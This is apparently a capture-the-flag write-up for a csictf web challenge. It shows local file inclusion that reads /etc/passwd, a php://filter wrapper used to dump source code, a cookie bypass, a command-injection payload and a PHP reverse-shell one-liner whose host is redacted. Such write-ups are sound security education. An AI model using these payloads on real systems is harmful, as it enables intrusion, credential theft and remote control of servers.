![3bc4cd22ea3838eb9a4be85b3c72b830.png](154cf072a76341b18002f1dc4443c719.png) Loading up the site, we see file=wc.php. Any time I see something like this I always check for LFI. ![08b376ca779954fecaf6eec19487f237.png](d06ab636ead74c63bf92e7b301635085.png) `http://chall.csivit.com:30202/?file=../../../etc/passwd` ![aa47c569b7f314b8ffaeb07962c9848a.png](c347db1659534b20aa200a2f2ddb68e9.png) So LFI is in play. Let's use the php filter wrapper and grab the source of the wc.php file. `http://chall.csivit.com:30202/?file=php://filter/convert.base64-encode/resource=wc.php` After decoding the b64, we can get a look at what's going on under the hood. ![0d58ae3e92fe5ce8732c6ebb6026f572.png](7a9492dea6214f01b4e23ee3cd5a885c.png) So our cookie needs to match the PASSWORD environment variable for us to get any further. Fortunately, robots.txt has a neat disallow. ![5b781c5b4609d72b3bddcc163214ea25.png](64a071ad9fd742689fde4be93f0df9a6.png) Using the same method that we used to get the source of wc, we can get the source of checkpass ![d8bae54cfd5ae0f1ceeb301854128de9.png](9ac8e595b24f4b9b91c5c2e985ad3b0a.png) There's the password. Let's edit our cookie so we can proceed. Going back to the source of wc.php, we can see the command it's running, so all we need to do is inject our own command into it. `'; whoami #'` '; to escape and end the previous command, whoami- our command, # to comment out the rest of the command ![432d0115c3909d08fe0961116377a5b8.png](e0c6d8e3963b48a0a7e4e515c33eb788.png) Command injection is in play. Let's get a reverse shell. `'; php -r '$sock=fsockopen("REDACTED",4444);exec("/bin/sh -i <&3 >&3 2>&3");' #'` Now that we're in, browsing around the filesystem I found this directory ![b943c76221daa6b8964f01d174e386ec.png](5c0be2dce8c64dd3b9cac9202751b651.png) And inside that directory is... ![8fbbbacac79c5e983542d53e8aefa30b.png](f6060e8d80334f60b04f6b5cc4a42fa2.png) cracked hash = csictf Let's switch to the ctf user and browse some of these files ![31d43d2c022ab36abe147f18545a7c5f.png](a698d86f3b204861b513bb770d25ae00.png) --- Back to [[_WebSite Publish/CTF/CTF Index|CTF Index]] Tags: #lfi #php #php_filter #rce #web #ctf #command_injection Related: